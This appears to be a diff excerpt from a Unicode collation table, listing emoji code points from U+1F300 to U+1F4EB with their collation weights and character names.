-1F300 ; [*1283.0020.0002] # CYCLONE
-1F301 ; [*1284.0020.0002] # FOGGY
-1F302 ; [*1285.0020.0002] # CLOSED UMBRELLA
-1F303 ; [*1286.0020.0002] # NIGHT WITH STARS
-1F304 ; [*1287.0020.0002] # SUNRISE OVER MOUNTAINS
-1F305 ; [*1288.0020.0002] # SUNRISE
-1F306 ; [*1289.0020.0002] # CITYSCAPE AT DUSK
-1F307 ; [*128A.0020.0002] # SUNSET OVER BUILDINGS
-1F308 ; [*128B.0020.0002] # RAINBOW
-1F309 ; [*128C.0020.0002] # BRIDGE AT NIGHT
-1F30A ; [*128D.0020.0002] # WATER WAVE
-1F30B ; [*128E.0020.0002] # VOLCANO
-1F30C ; [*128F.0020.0002] # MILKY WAY
-1F30D ; [*1290.0020.0002] # EARTH GLOBE EUROPE-AFRICA
-1F30E ; [*1291.0020.0002] # EARTH GLOBE AMERICAS
-1F30F ; [*1292.0020.0002] # EARTH GLOBE ASIA-AUSTRALIA
-1F310 ; [*1293.0020.0002] # GLOBE WITH MERIDIANS
-1F311 ; [*1294.0020.0002] # NEW MOON SYMBOL
-1F312 ; [*1295.0020.0002] # WAXING CRESCENT MOON SYMBOL
-1F313 ; [*1296.0020.0002] # FIRST QUARTER MOON SYMBOL
-1F314 ; [*1297.0020.0002] # WAXING GIBBOUS MOON SYMBOL
-1F315 ; [*1298.0020.0002] # FULL MOON SYMBOL
-1F316 ; [*1299.0020.0002] # WANING GIBBOUS MOON SYMBOL
-1F317 ; [*129A.0020.0002] # LAST QUARTER MOON SYMBOL
-1F318 ; [*129B.0020.0002] # WANING CRESCENT MOON SYMBOL
-1F319 ; [*129C.0020.0002] # CRESCENT MOON
-1F31A ; [*129D.0020.0002] # NEW MOON WITH FACE
-1F31B ; [*129E.0020.0002] # FIRST QUARTER MOON WITH FACE
-1F31C ; [*129F.0020.0002] # LAST QUARTER MOON WITH FACE
-1F31D ; [*12A0.0020.0002] # FULL MOON WITH FACE
-1F31E ; [*12A1.0020.0002] # SUN WITH FACE
-1F31F ; [*12A2.0020.0002] # GLOWING STAR
-1F320 ; [*12A3.0020.0002] # SHOOTING STAR
-1F321 ; [*12A4.0020.0002] # THERMOMETER
-1F322 ; [*12A5.0020.0002] # BLACK DROPLET
-1F323 ; [*12A6.0020.0002] # WHITE SUN
-1F324 ; [*12A7.0020.0002] # WHITE SUN WITH SMALL CLOUD
-1F325 ; [*12A8.0020.0002] # WHITE SUN BEHIND CLOUD
-1F326 ; [*12A9.0020.0002] # WHITE SUN BEHIND CLOUD WITH RAIN
-1F327 ; [*12AA.0020.0002] # CLOUD WITH RAIN
-1F328 ; [*12AB.0020.0002] # CLOUD WITH SNOW
-1F329 ; [*12AC.0020.0002] # CLOUD WITH LIGHTNING
-1F32A ; [*12AD.0020.0002] # CLOUD WITH TORNADO
-1F32B ; [*12AE.0020.0002] # FOG
-1F32C ; [*12AF.0020.0002] # WIND BLOWING FACE
-1F32D ; [*12B0.0020.0002] # HOT DOG
-1F32E ; [*12B1.0020.0002] # TACO
-1F32F ; [*12B2.0020.0002] # BURRITO
-1F330 ; [*12B3.0020.0002] # CHESTNUT
-1F331 ; [*12B4.0020.0002] # SEEDLING
-1F332 ; [*12B5.0020.0002] # EVERGREEN TREE
-1F333 ; [*12B6.0020.0002] # DECIDUOUS TREE
-1F334 ; [*12B7.0020.0002] # PALM TREE
-1F335 ; [*12B8.0020.0002] # CACTUS
-1F336 ; [*12B9.0020.0002] # HOT PEPPER
-1F337 ; [*12BA.0020.0002] # TULIP
-1F338 ; [*12BB.0020.0002] # CHERRY BLOSSOM
-1F339 ; [*12BC.0020.0002] # ROSE
-1F33A ; [*12BD.0020.0002] # HIBISCUS
-1F33B ; [*12BE.0020.0002] # SUNFLOWER
-1F33C ; [*12BF.0020.0002] # BLOSSOM
-1F33D ; [*12C0.0020.0002] # EAR OF MAIZE
-1F33E ; [*12C1.0020.0002] # EAR OF RICE
-1F33F ; [*12C2.0020.0002] # HERB
-1F340 ; [*12C3.0020.0002] # FOUR LEAF CLOVER
-1F341 ; [*12C4.0020.0002] # MAPLE LEAF
-1F342 ; [*12C5.0020.0002] # FALLEN LEAF
-1F343 ; [*12C6.0020.0002] # LEAF FLUTTERING IN WIND
-1F344 ; [*12C7.0020.0002] # MUSHROOM
-1F345 ; [*12C8.0020.0002] # TOMATO
-1F346 ; [*12C9.0020.0002] # AUBERGINE
-1F347 ; [*12CA.0020.0002] # GRAPES
-1F348 ; [*12CB.0020.0002] # MELON
-1F349 ; [*12CC.0020.0002] # WATERMELON
-1F34A ; [*12CD.0020.0002] # TANGERINE
-1F34B ; [*12CE.0020.0002] # LEMON
-1F34C ; [*12CF.0020.0002] # BANANA
-1F34D ; [*12D0.0020.0002] # PINEAPPLE
-1F34E ; [*12D1.0020.0002] # RED APPLE
-1F34F ; [*12D2.0020.0002] # GREEN APPLE
-1F350 ; [*12D3.0020.0002] # PEAR
-1F351 ; [*12D4.0020.0002] # PEACH
-1F352 ; [*12D5.0020.0002] # CHERRIES
-1F353 ; [*12D6.0020.0002] # STRAWBERRY
-1F354 ; [*12D7.0020.0002] # HAMBURGER
-1F355 ; [*12D8.0020.0002] # SLICE OF PIZZA
-1F356 ; [*12D9.0020.0002] # MEAT ON BONE
-1F357 ; [*12DA.0020.0002] # POULTRY LEG
-1F358 ; [*12DB.0020.0002] # RICE CRACKER
-1F359 ; [*12DC.0020.0002] # RICE BALL
-1F35A ; [*12DD.0020.0002] # COOKED RICE
-1F35B ; [*12DE.0020.0002] # CURRY AND RICE
-1F35C ; [*12DF.0020.0002] # STEAMING BOWL
-1F35D ; [*12E0.0020.0002] # SPAGHETTI
-1F35E ; [*12E1.0020.0002] # BREAD
-1F35F ; [*12E2.0020.0002] # FRENCH FRIES
-1F360 ; [*12E3.0020.0002] # ROASTED SWEET POTATO
-1F361 ; [*12E4.0020.0002] # DANGO
-1F362 ; [*12E5.0020.0002] # ODEN
-1F363 ; [*12E6.0020.0002] # SUSHI
-1F364 ; [*12E7.0020.0002] # FRIED SHRIMP
-1F365 ; [*12E8.0020.0002] # FISH CAKE WITH SWIRL DESIGN
-1F366 ; [*12E9.0020.0002] # SOFT ICE CREAM
-1F367 ; [*12EA.0020.0002] # SHAVED ICE
-1F368 ; [*12EB.0020.0002] # ICE CREAM
-1F369 ; [*12EC.0020.0002] # DOUGHNUT
-1F36A ; [*12ED.0020.0002] # COOKIE
-1F36B ; [*12EE.0020.0002] # CHOCOLATE BAR
-1F36C ; [*12EF.0020.0002] # CANDY
-1F36D ; [*12F0.0020.0002] # LOLLIPOP
-1F36E ; [*12F1.0020.0002] # CUSTARD
-1F36F ; [*12F2.0020.0002] # HONEY POT
-1F370 ; [*12F3.0020.0002] # SHORTCAKE
-1F371 ; [*12F4.0020.0002] # BENTO BOX
-1F372 ; [*12F5.0020.0002] # POT OF FOOD
-1F373 ; [*12F6.0020.0002] # COOKING
-1F374 ; [*12F7.0020.0002] # FORK AND KNIFE
-1F375 ; [*12F8.0020.0002] # TEACUP WITHOUT HANDLE
-1F376 ; [*12F9.0020.0002] # SAKE BOTTLE AND CUP
-1F377 ; [*12FA.0020.0002] # WINE GLASS
-1F378 ; [*12FB.0020.0002] # COCKTAIL GLASS
-1F379 ; [*12FC.0020.0002] # TROPICAL DRINK
-1F37A ; [*12FD.0020.0002] # BEER MUG
-1F37B ; [*12FE.0020.0002] # CLINKING BEER MUGS
-1F37C ; [*12FF.0020.0002] # BABY BOTTLE
-1F37D ; [*1300.0020.0002] # FORK AND KNIFE WITH PLATE
-1F37E ; [*1301.0020.0002] # BOTTLE WITH POPPING CORK
-1F37F ; [*1302.0020.0002] # POPCORN
-1F380 ; [*1303.0020.0002] # RIBBON
-1F381 ; [*1304.0020.0002] # WRAPPED PRESENT
-1F382 ; [*1305.0020.0002] # BIRTHDAY CAKE
-1F383 ; [*1306.0020.0002] # JACK-O-LANTERN
-1F384 ; [*1307.0020.0002] # CHRISTMAS TREE
-1F385 ; [*1308.0020.0002] # FATHER CHRISTMAS
-1F386 ; [*1309.0020.0002] # FIREWORKS
-1F387 ; [*130A.0020.0002] # FIREWORK SPARKLER
-1F388 ; [*130B.0020.0002] # BALLOON
-1F389 ; [*130C.0020.0002] # PARTY POPPER
-1F38A ; [*130D.0020.0002] # CONFETTI BALL
-1F38B ; [*130E.0020.0002] # TANABATA TREE
-1F38C ; [*130F.0020.0002] # CROSSED FLAGS
-1F38D ; [*1310.0020.0002] # PINE DECORATION
-1F38E ; [*1311.0020.0002] # JAPANESE DOLLS
-1F38F ; [*1312.0020.0002] # CARP STREAMER
-1F390 ; [*1313.0020.0002] # WIND CHIME
-1F391 ; [*1314.0020.0002] # MOON VIEWING CEREMONY
-1F392 ; [*1315.0020.0002] # SCHOOL SATCHEL
-1F393 ; [*1316.0020.0002] # GRADUATION CAP
-1F394 ; [*1317.0020.0002] # HEART WITH TIP ON THE LEFT
-1F395 ; [*1318.0020.0002] # BOUQUET OF FLOWERS
-1F396 ; [*1319.0020.0002] # MILITARY MEDAL
-1F397 ; [*131A.0020.0002] # REMINDER RIBBON
-1F398 ; [*131B.0020.0002] # MUSICAL KEYBOARD WITH JACKS
-1F399 ; [*131C.0020.0002] # STUDIO MICROPHONE
-1F39A ; [*131D.0020.0002] # LEVEL SLIDER
-1F39B ; [*131E.0020.0002] # CONTROL KNOBS
-1F39C ; [*131F.0020.0002] # BEAMED ASCENDING MUSICAL NOTES
-1F39D ; [*1320.0020.0002] # BEAMED DESCENDING MUSICAL NOTES
-1F39E ; [*1321.0020.0002] # FILM FRAMES
-1F39F ; [*1322.0020.0002] # ADMISSION TICKETS
-1F3A0 ; [*1323.0020.0002] # CAROUSEL HORSE
-1F3A1 ; [*1324.0020.0002] # FERRIS WHEEL
-1F3A2 ; [*1325.0020.0002] # ROLLER COASTER
-1F3A3 ; [*1326.0020.0002] # FISHING POLE AND FISH
-1F3A4 ; [*1327.0020.0002] # MICROPHONE
-1F3A5 ; [*1328.0020.0002] # MOVIE CAMERA
-1F3A6 ; [*1329.0020.0002] # CINEMA
-1F3A7 ; [*132A.0020.0002] # HEADPHONE
-1F3A8 ; [*132B.0020.0002] # ARTIST PALETTE
-1F3A9 ; [*132C.0020.0002] # TOP HAT
-1F3AA ; [*132D.0020.0002] # CIRCUS TENT
-1F3AB ; [*132E.0020.0002] # TICKET
-1F3AC ; [*132F.0020.0002] # CLAPPER BOARD
-1F3AD ; [*1330.0020.0002] # PERFORMING ARTS
-1F3AE ; [*1331.0020.0002] # VIDEO GAME
-1F3AF ; [*1332.0020.0002] # DIRECT HIT
-1F3B0 ; [*1333.0020.0002] # SLOT MACHINE
-1F3B1 ; [*1334.0020.0002] # BILLIARDS
-1F3B2 ; [*1335.0020.0002] # GAME DIE
-1F3B3 ; [*1336.0020.0002] # BOWLING
-1F3B4 ; [*1337.0020.0002] # FLOWER PLAYING CARDS
-1F3B5 ; [*1338.0020.0002] # MUSICAL NOTE
-1F3B6 ; [*1339.0020.0002] # MULTIPLE MUSICAL NOTES
-1F3B7 ; [*133A.0020.0002] # SAXOPHONE
-1F3B8 ; [*133B.0020.0002] # GUITAR
-1F3B9 ; [*133C.0020.0002] # MUSICAL KEYBOARD
-1F3BA ; [*133D.0020.0002] # TRUMPET
-1F3BB ; [*133E.0020.0002] # VIOLIN
-1F3BC ; [*133F.0020.0002] # MUSICAL SCORE
-1F3BD ; [*1340.0020.0002] # RUNNING SHIRT WITH SASH
-1F3BE ; [*1341.0020.0002] # TENNIS RACQUET AND BALL
-1F3BF ; [*1342.0020.0002] # SKI AND SKI BOOT
-1F3C0 ; [*1343.0020.0002] # BASKETBALL AND HOOP
-1F3C1 ; [*1344.0020.0002] # CHEQUERED FLAG
-1F3C2 ; [*1345.0020.0002] # SNOWBOARDER
-1F3C3 ; [*1346.0020.0002] # RUNNER
-1F3C4 ; [*1347.0020.0002] # SURFER
-1F3C5 ; [*1348.0020.0002] # SPORTS MEDAL
-1F3C6 ; [*1349.0020.0002] # TROPHY
-1F3C7 ; [*134A.0020.0002] # HORSE RACING
-1F3C8 ; [*134B.0020.0002] # AMERICAN FOOTBALL
-1F3C9 ; [*134C.0020.0002] # RUGBY FOOTBALL
-1F3CA ; [*134D.0020.0002] # SWIMMER
-1F3CB ; [*134E.0020.0002] # WEIGHT LIFTER
-1F3CC ; [*134F.0020.0002] # GOLFER
-1F3CD ; [*1350.0020.0002] # RACING MOTORCYCLE
-1F3CE ; [*1351.0020.0002] # RACING CAR
-1F3CF ; [*1352.0020.0002] # CRICKET BAT AND BALL
-1F3D0 ; [*1353.0020.0002] # VOLLEYBALL
-1F3D1 ; [*1354.0020.0002] # FIELD HOCKEY STICK AND BALL
-1F3D2 ; [*1355.0020.0002] # ICE HOCKEY STICK AND PUCK
-1F3D3 ; [*1356.0020.0002] # TABLE TENNIS PADDLE AND BALL
-1F3D4 ; [*1357.0020.0002] # SNOW CAPPED MOUNTAIN
-1F3D5 ; [*1358.0020.0002] # CAMPING
-1F3D6 ; [*1359.0020.0002] # BEACH WITH UMBRELLA
-1F3D7 ; [*135A.0020.0002] # BUILDING CONSTRUCTION
-1F3D8 ; [*135B.0020.0002] # HOUSE BUILDINGS
-1F3D9 ; [*135C.0020.0002] # CITYSCAPE
-1F3DA ; [*135D.0020.0002] # DERELICT HOUSE BUILDING
-1F3DB ; [*135E.0020.0002] # CLASSICAL BUILDING
-1F3DC ; [*135F.0020.0002] # DESERT
-1F3DD ; [*1360.0020.0002] # DESERT ISLAND
-1F3DE ; [*1361.0020.0002] # NATIONAL PARK
-1F3DF ; [*1362.0020.0002] # STADIUM
-1F3E0 ; [*1363.0020.0002] # HOUSE BUILDING
-1F3E1 ; [*1364.0020.0002] # HOUSE WITH GARDEN
-1F3E2 ; [*1365.0020.0002] # OFFICE BUILDING
-1F3E3 ; [*1366.0020.0002] # JAPANESE POST OFFICE
-1F3E4 ; [*1367.0020.0002] # EUROPEAN POST OFFICE
-1F3E5 ; [*1368.0020.0002] # HOSPITAL
-1F3E6 ; [*1369.0020.0002] # BANK
-1F3E7 ; [*136A.0020.0002] # AUTOMATED TELLER MACHINE
-1F3E8 ; [*136B.0020.0002] # HOTEL
-1F3E9 ; [*136C.0020.0002] # LOVE HOTEL
-1F3EA ; [*136D.0020.0002] # CONVENIENCE STORE
-1F3EB ; [*136E.0020.0002] # SCHOOL
-1F3EC ; [*136F.0020.0002] # DEPARTMENT STORE
-1F3ED ; [*1370.0020.0002] # FACTORY
-1F3EE ; [*1371.0020.0002] # IZAKAYA LANTERN
-1F3EF ; [*1372.0020.0002] # JAPANESE CASTLE
-1F3F0 ; [*1373.0020.0002] # EUROPEAN CASTLE
-1F3F1 ; [*1374.0020.0002] # WHITE PENNANT
-1F3F2 ; [*1375.0020.0002] # BLACK PENNANT
-1F3F3 ; [*1376.0020.0002] # WAVING WHITE FLAG
-1F3F4 ; [*1377.0020.0002] # WAVING BLACK FLAG
-1F3F5 ; [*1378.0020.0002] # ROSETTE
-1F3F6 ; [*1379.0020.0002] # BLACK ROSETTE
-1F3F7 ; [*137A.0020.0002] # LABEL
-1F3F8 ; [*137B.0020.0002] # BADMINTON RACQUET AND SHUTTLECOCK
-1F3F9 ; [*137C.0020.0002] # BOW AND ARROW
-1F3FA ; [*137D.0020.0002] # AMPHORA
-1F3FB ; [*137E.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-1-2
-1F3FC ; [*137F.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-3
-1F3FD ; [*1380.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-4
-1F3FE ; [*1381.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-5
-1F3FF ; [*1382.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-6
-1F400 ; [*1383.0020.0002] # RAT
-1F401 ; [*1384.0020.0002] # MOUSE
-1F402 ; [*1385.0020.0002] # OX
-1F403 ; [*1386.0020.0002] # WATER BUFFALO
-1F404 ; [*1387.0020.0002] # COW
-1F405 ; [*1388.0020.0002] # TIGER
-1F406 ; [*1389.0020.0002] # LEOPARD
-1F407 ; [*138A.0020.0002] # RABBIT
-1F408 ; [*138B.0020.0002] # CAT
-1F409 ; [*138C.0020.0002] # DRAGON
-1F40A ; [*138D.0020.0002] # CROCODILE
-1F40B ; [*138E.0020.0002] # WHALE
-1F40C ; [*138F.0020.0002] # SNAIL
-1F40D ; [*1390.0020.0002] # SNAKE
-1F40E ; [*1391.0020.0002] # HORSE
-1F40F ; [*1392.0020.0002] # RAM
-1F410 ; [*1393.0020.0002] # GOAT
-1F411 ; [*1394.0020.0002] # SHEEP
-1F412 ; [*1395.0020.0002] # MONKEY
-1F413 ; [*1396.0020.0002] # ROOSTER
-1F414 ; [*1397.0020.0002] # CHICKEN
-1F415 ; [*1398.0020.0002] # DOG
-1F416 ; [*1399.0020.0002] # PIG
-1F417 ; [*139A.0020.0002] # BOAR
-1F418 ; [*139B.0020.0002] # ELEPHANT
-1F419 ; [*139C.0020.0002] # OCTOPUS
-1F41A ; [*139D.0020.0002] # SPIRAL SHELL
-1F41B ; [*139E.0020.0002] # BUG
-1F41C ; [*139F.0020.0002] # ANT
-1F41D ; [*13A0.0020.0002] # HONEYBEE
-1F41E ; [*13A1.0020.0002] # LADY BEETLE
-1F41F ; [*13A2.0020.0002] # FISH
-1F420 ; [*13A3.0020.0002] # TROPICAL FISH
-1F421 ; [*13A4.0020.0002] # BLOWFISH
-1F422 ; [*13A5.0020.0002] # TURTLE
-1F423 ; [*13A6.0020.0002] # HATCHING CHICK
-1F424 ; [*13A7.0020.0002] # BABY CHICK
-1F425 ; [*13A8.0020.0002] # FRONT-FACING BABY CHICK
-1F426 ; [*13A9.0020.0002] # BIRD
-1F427 ; [*13AA.0020.0002] # PENGUIN
-1F428 ; [*13AB.0020.0002] # KOALA
-1F429 ; [*13AC.0020.0002] # POODLE
-1F42A ; [*13AD.0020.0002] # DROMEDARY CAMEL
-1F42B ; [*13AE.0020.0002] # BACTRIAN CAMEL
-1F42C ; [*13AF.0020.0002] # DOLPHIN
-1F42D ; [*13B0.0020.0002] # MOUSE FACE
-1F42E ; [*13B1.0020.0002] # COW FACE
-1F42F ; [*13B2.0020.0002] # TIGER FACE
-1F430 ; [*13B3.0020.0002] # RABBIT FACE
-1F431 ; [*13B4.0020.0002] # CAT FACE
-1F432 ; [*13B5.0020.0002] # DRAGON FACE
-1F433 ; [*13B6.0020.0002] # SPOUTING WHALE
-1F434 ; [*13B7.0020.0002] # HORSE FACE
-1F435 ; [*13B8.0020.0002] # MONKEY FACE
-1F436 ; [*13B9.0020.0002] # DOG FACE
-1F437 ; [*13BA.0020.0002] # PIG FACE
-1F438 ; [*13BB.0020.0002] # FROG FACE
-1F439 ; [*13BC.0020.0002] # HAMSTER FACE
-1F43A ; [*13BD.0020.0002] # WOLF FACE
-1F43B ; [*13BE.0020.0002] # BEAR FACE
-1F43C ; [*13BF.0020.0002] # PANDA FACE
-1F43D ; [*13C0.0020.0002] # PIG NOSE
-1F43E ; [*13C1.0020.0002] # PAW PRINTS
-1F43F ; [*13C2.0020.0002] # CHIPMUNK
-1F440 ; [*13C3.0020.0002] # EYES
-1F441 ; [*13C4.0020.0002] # EYE
-1F442 ; [*13C5.0020.0002] # EAR
-1F443 ; [*13C6.0020.0002] # NOSE
-1F444 ; [*13C7.0020.0002] # MOUTH
-1F445 ; [*13C8.0020.0002] # TONGUE
-1F446 ; [*13C9.0020.0002] # WHITE UP POINTING BACKHAND INDEX
-1F447 ; [*13CA.0020.0002] # WHITE DOWN POINTING BACKHAND INDEX
-1F448 ; [*13CB.0020.0002] # WHITE LEFT POINTING BACKHAND INDEX
-1F449 ; [*13CC.0020.0002] # WHITE RIGHT POINTING BACKHAND INDEX
-1F44A ; [*13CD.0020.0002] # FISTED HAND SIGN
-1F44B ; [*13CE.0020.0002] # WAVING HAND SIGN
-1F44C ; [*13CF.0020.0002] # OK HAND SIGN
-1F44D ; [*13D0.0020.0002] # THUMBS UP SIGN
-1F44E ; [*13D1.0020.0002] # THUMBS DOWN SIGN
-1F44F ; [*13D2.0020.0002] # CLAPPING HANDS SIGN
-1F450 ; [*13D3.0020.0002] # OPEN HANDS SIGN
-1F451 ; [*13D4.0020.0002] # CROWN
-1F452 ; [*13D5.0020.0002] # WOMANS HAT
-1F453 ; [*13D6.0020.0002] # EYEGLASSES
-1F454 ; [*13D7.0020.0002] # NECKTIE
-1F455 ; [*13D8.0020.0002] # T-SHIRT
-1F456 ; [*13D9.0020.0002] # JEANS
-1F457 ; [*13DA.0020.0002] # DRESS
-1F458 ; [*13DB.0020.0002] # KIMONO
-1F459 ; [*13DC.0020.0002] # BIKINI
-1F45A ; [*13DD.0020.0002] # WOMANS CLOTHES
-1F45B ; [*13DE.0020.0002] # PURSE
-1F45C ; [*13DF.0020.0002] # HANDBAG
-1F45D ; [*13E0.0020.0002] # POUCH
-1F45E ; [*13E1.0020.0002] # MANS SHOE
-1F45F ; [*13E2.0020.0002] # ATHLETIC SHOE
-1F460 ; [*13E3.0020.0002] # HIGH-HEELED SHOE
-1F461 ; [*13E4.0020.0002] # WOMANS SANDAL
-1F462 ; [*13E5.0020.0002] # WOMANS BOOTS
-1F463 ; [*13E6.0020.0002] # FOOTPRINTS
-1F464 ; [*13E7.0020.0002] # BUST IN SILHOUETTE
-1F465 ; [*13E8.0020.0002] # BUSTS IN SILHOUETTE
-1F466 ; [*13E9.0020.0002] # BOY
-1F467 ; [*13EA.0020.0002] # GIRL
-1F468 ; [*13EB.0020.0002] # MAN
-1F469 ; [*13EC.0020.0002] # WOMAN
-1F46A ; [*13ED.0020.0002] # FAMILY
-1F46B ; [*13EE.0020.0002] # MAN AND WOMAN HOLDING HANDS
-1F46C ; [*13EF.0020.0002] # TWO MEN HOLDING HANDS
-1F46D ; [*13F0.0020.0002] # TWO WOMEN HOLDING HANDS
-1F46E ; [*13F1.0020.0002] # POLICE OFFICER
-1F46F ; [*13F2.0020.0002] # WOMAN WITH BUNNY EARS
-1F470 ; [*13F3.0020.0002] # BRIDE WITH VEIL
-1F471 ; [*13F4.0020.0002] # PERSON WITH BLOND HAIR
-1F472 ; [*13F5.0020.0002] # MAN WITH GUA PI MAO
-1F473 ; [*13F6.0020.0002] # MAN WITH TURBAN
-1F474 ; [*13F7.0020.0002] # OLDER MAN
-1F475 ; [*13F8.0020.0002] # OLDER WOMAN
-1F476 ; [*13F9.0020.0002] # BABY
-1F477 ; [*13FA.0020.0002] # CONSTRUCTION WORKER
-1F478 ; [*13FB.0020.0002] # PRINCESS
-1F479 ; [*13FC.0020.0002] # JAPANESE OGRE
-1F47A ; [*13FD.0020.0002] # JAPANESE GOBLIN
-1F47B ; [*13FE.0020.0002] # GHOST
-1F47C ; [*13FF.0020.0002] # BABY ANGEL
-1F47D ; [*1400.0020.0002] # EXTRATERRESTRIAL ALIEN
-1F47E ; [*1401.0020.0002] # ALIEN MONSTER
-1F47F ; [*1402.0020.0002] # IMP
-1F480 ; [*1403.0020.0002] # SKULL
-1F481 ; [*1404.0020.0002] # INFORMATION DESK PERSON
-1F482 ; [*1405.0020.0002] # GUARDSMAN
-1F483 ; [*1406.0020.0002] # DANCER
-1F484 ; [*1407.0020.0002] # LIPSTICK
-1F485 ; [*1408.0020.0002] # NAIL POLISH
-1F486 ; [*1409.0020.0002] # FACE MASSAGE
-1F487 ; [*140A.0020.0002] # HAIRCUT
-1F488 ; [*140B.0020.0002] # BARBER POLE
-1F489 ; [*140C.0020.0002] # SYRINGE
-1F48A ; [*140D.0020.0002] # PILL
-1F48B ; [*140E.0020.0002] # KISS MARK
-1F48C ; [*140F.0020.0002] # LOVE LETTER
-1F48D ; [*1410.0020.0002] # RING
-1F48E ; [*1411.0020.0002] # GEM STONE
-1F48F ; [*1412.0020.0002] # KISS
-1F490 ; [*1413.0020.0002] # BOUQUET
-1F491 ; [*1414.0020.0002] # COUPLE WITH HEART
-1F492 ; [*1415.0020.0002] # WEDDING
-1F493 ; [*1416.0020.0002] # BEATING HEART
-1F494 ; [*1417.0020.0002] # BROKEN HEART
-1F495 ; [*1418.0020.0002] # TWO HEARTS
-1F496 ; [*1419.0020.0002] # SPARKLING HEART
-1F497 ; [*141A.0020.0002] # GROWING HEART
-1F498 ; [*141B.0020.0002] # HEART WITH ARROW
-1F499 ; [*141C.0020.0002] # BLUE HEART
-1F49A ; [*141D.0020.0002] # GREEN HEART
-1F49B ; [*141E.0020.0002] # YELLOW HEART
-1F49C ; [*141F.0020.0002] # PURPLE HEART
-1F49D ; [*1420.0020.0002] # HEART WITH RIBBON
-1F49E ; [*1421.0020.0002] # REVOLVING HEARTS
-1F49F ; [*1422.0020.0002] # HEART DECORATION
-1F4A0 ; [*1423.0020.0002] # DIAMOND SHAPE WITH A DOT INSIDE
-1F4A1 ; [*1424.0020.0002] # ELECTRIC LIGHT BULB
-1F4A2 ; [*1425.0020.0002] # ANGER SYMBOL
-1F4A3 ; [*1426.0020.0002] # BOMB
-1F4A4 ; [*1427.0020.0002] # SLEEPING SYMBOL
-1F4A5 ; [*1428.0020.0002] # COLLISION SYMBOL
-1F4A6 ; [*1429.0020.0002] # SPLASHING SWEAT SYMBOL
-1F4A7 ; [*142A.0020.0002] # DROPLET
-1F4A8 ; [*142B.0020.0002] # DASH SYMBOL
-1F4A9 ; [*142C.0020.0002] # PILE OF POO
-1F4AA ; [*142D.0020.0002] # FLEXED BICEPS
-1F4AB ; [*142E.0020.0002] # DIZZY SYMBOL
-1F4AC ; [*142F.0020.0002] # SPEECH BALLOON
-1F4AD ; [*1430.0020.0002] # THOUGHT BALLOON
-1F4AE ; [*1431.0020.0002] # WHITE FLOWER
-1F4AF ; [*1432.0020.0002] # HUNDRED POINTS SYMBOL
-1F4B0 ; [*1433.0020.0002] # MONEY BAG
-1F4B1 ; [*1434.0020.0002] # CURRENCY EXCHANGE
-1F4B2 ; [*1435.0020.0002] # HEAVY DOLLAR SIGN
-1F4B3 ; [*1436.0020.0002] # CREDIT CARD
-1F4B4 ; [*1437.0020.0002] # BANKNOTE WITH YEN SIGN
-1F4B5 ; [*1438.0020.0002] # BANKNOTE WITH DOLLAR SIGN
-1F4B6 ; [*1439.0020.0002] # BANKNOTE WITH EURO SIGN
-1F4B7 ; [*143A.0020.0002] # BANKNOTE WITH POUND SIGN
-1F4B8 ; [*143B.0020.0002] # MONEY WITH WINGS
-1F4B9 ; [*143C.0020.0002] # CHART WITH UPWARDS TREND AND YEN SIGN
-1F4BA ; [*143D.0020.0002] # SEAT
-1F4BB ; [*143E.0020.0002] # PERSONAL COMPUTER
-1F4BC ; [*143F.0020.0002] # BRIEFCASE
-1F4BD ; [*1440.0020.0002] # MINIDISC
-1F4BE ; [*1441.0020.0002] # FLOPPY DISK
-1F4BF ; [*1442.0020.0002] # OPTICAL DISC
-1F4C0 ; [*1443.0020.0002] # DVD
-1F4C1 ; [*1444.0020.0002] # FILE FOLDER
-1F4C2 ; [*1445.0020.0002] # OPEN FILE FOLDER
-1F4C3 ; [*1446.0020.0002] # PAGE WITH CURL
-1F4C4 ; [*1447.0020.0002] # PAGE FACING UP
-1F4C5 ; [*1448.0020.0002] # CALENDAR
-1F4C6 ; [*1449.0020.0002] # TEAR-OFF CALENDAR
-1F4C7 ; [*144A.0020.0002] # CARD INDEX
-1F4C8 ; [*144B.0020.0002] # CHART WITH UPWARDS TREND
-1F4C9 ; [*144C.0020.0002] # CHART WITH DOWNWARDS TREND
-1F4CA ; [*144D.0020.0002] # BAR CHART
-1F4CB ; [*144E.0020.0002] # CLIPBOARD
-1F4CC ; [*144F.0020.0002] # PUSHPIN
-1F4CD ; [*1450.0020.0002] # ROUND PUSHPIN
-1F4CE ; [*1451.0020.0002] # PAPERCLIP
-1F4CF ; [*1452.0020.0002] # STRAIGHT RULER
-1F4D0 ; [*1453.0020.0002] # TRIANGULAR RULER
-1F4D1 ; [*1454.0020.0002] # BOOKMARK TABS
-1F4D2 ; [*1455.0020.0002] # LEDGER
-1F4D3 ; [*1456.0020.0002] # NOTEBOOK
-1F4D4 ; [*1457.0020.0002] # NOTEBOOK WITH DECORATIVE COVER
-1F4D5 ; [*1458.0020.0002] # CLOSED BOOK
-1F4D6 ; [*1459.0020.0002] # OPEN BOOK
-1F4D7 ; [*145A.0020.0002] # GREEN BOOK
-1F4D8 ; [*145B.0020.0002] # BLUE BOOK
-1F4D9 ; [*145C.0020.0002] # ORANGE BOOK
-1F4DA ; [*145D.0020.0002] # BOOKS
-1F4DB ; [*145E.0020.0002] # NAME BADGE
-1F4DC ; [*145F.0020.0002] # SCROLL
-1F4DD ; [*1460.0020.0002] # MEMO
-1F4DE ; [*1461.0020.0002] # TELEPHONE RECEIVER
-1F4DF ; [*1462.0020.0002] # PAGER
-1F4E0 ; [*1463.0020.0002] # FAX MACHINE
-1F4E1 ; [*1464.0020.0002] # SATELLITE ANTENNA
-1F4E2 ; [*1465.0020.0002] # PUBLIC ADDRESS LOUDSPEAKER
-1F4E3 ; [*1466.0020.0002] # CHEERING MEGAPHONE
-1F4E4 ; [*1467.0020.0002] # OUTBOX TRAY
-1F4E5 ; [*1468.0020.0002] # INBOX TRAY
-1F4E6 ; [*1469.0020.0002] # PACKAGE
-1F4E7 ; [*146A.0020.0002] # E-MAIL SYMBOL
-1F4E8 ; [*146B.0020.0002] # INCOMING ENVELOPE
-1F4E9 ; [*146C.0020.0002] # ENVELOPE WITH DOWNWARDS ARROW ABOVE
-1F4EA ; [*146D.0020.0002] # CLOSED MAILBOX WITH LOWERED FLAG
-1F4EB ; [*146E.0020.0002] # CLOSED MAILBOX WITH RAISED FLAG
